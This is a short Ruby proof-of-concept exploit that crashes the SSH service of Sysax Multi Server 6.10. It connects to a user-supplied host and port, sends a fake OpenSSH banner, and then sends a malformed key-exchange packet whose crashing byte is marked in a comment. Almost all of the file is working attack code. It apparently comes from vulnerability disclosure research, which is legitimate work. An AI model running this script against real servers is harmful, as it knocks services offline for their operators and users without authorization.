#!/usr/bin/env ruby
# Sysax Multi Server 6.10 SSH DoS
# Matt "hostess" Andreko < mandreko [at] accuvant.com >
# http://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html

require 'socket'

unless ARGV.length == 2
  puts "Usage: ruby #{$0} [host] [port]\n"
  exit
end

packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,
  0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,
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  #3rd byte in this next line causes crash
  0x00, 0x00, 0x28, 0x7a, 0x6c, 0x69, 0x62, 0x40,
  0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e,
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  0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f,
  0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e,
  0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00].pack("C*")

host = ARGV[0]
port = ARGV[1]

sock = TCPSocket.open(host, port)

banner = sock.gets()
puts banner

sock.puts("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n")
sock.puts(packet)
resp = sock.gets()

sock.close()